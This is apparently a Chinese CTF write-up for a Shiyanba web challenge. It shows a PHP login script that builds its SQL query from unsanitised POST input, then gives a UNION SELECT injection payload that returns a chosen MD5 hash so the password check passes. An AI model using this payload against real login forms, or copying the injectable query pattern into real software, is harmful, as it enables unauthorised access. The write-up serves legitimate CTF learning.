1. 程式人生 > >實驗吧CTF刷題記錄(web篇)

實驗吧CTF刷題記錄(web篇)

5.程式邏輯問題

繞過
if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}
可以看到是使用post方式,pass是經過md5加密的。只需要構造row[pw]和pass加密後的的值相等就可以實現繞過,其中pass加密後的值我們可以通過輸入控制,從而達到不用驗證資料庫中的真實賬號密碼。 賬號框輸入:  xxx' and 0=1 union select "202cb962ac59075b964b07152d234b70" # 密碼框輸入:123 保證md5與輸入的密碼相同即可 其中0=1可以使前面語句失效,從而實現繞過。